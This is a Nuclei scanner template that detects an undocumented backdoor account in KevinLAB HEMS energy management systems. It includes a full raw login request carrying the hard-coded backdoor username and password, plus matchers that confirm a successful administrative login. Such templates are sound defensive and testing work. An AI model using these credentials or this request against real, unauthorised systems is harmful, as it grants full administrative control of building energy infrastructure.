nuclei-templates/vulnerabilities/other/kevinlab-hems-backdoor.yaml

45 lines
1.5 KiB
YAML

id: kevinlab-hems-backdoor
info:
name: KevinLAB HEMS Undocumented Backdoor Account
author: gy741
severity: critical
description: The HEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the
RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users
settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
tags: kevinlab,default-login,backdoor
requests:
- raw:
- |
POST /dashboard/proc.php?type=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: close
userid=kevinlab&userpass=kevin003
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '<meta http-equiv="refresh" content="0; url=/"></meta>'
- type: word
words:
- '<script> alert'
negative: true
- type: word
words:
- 'PHPSESSID'
part: header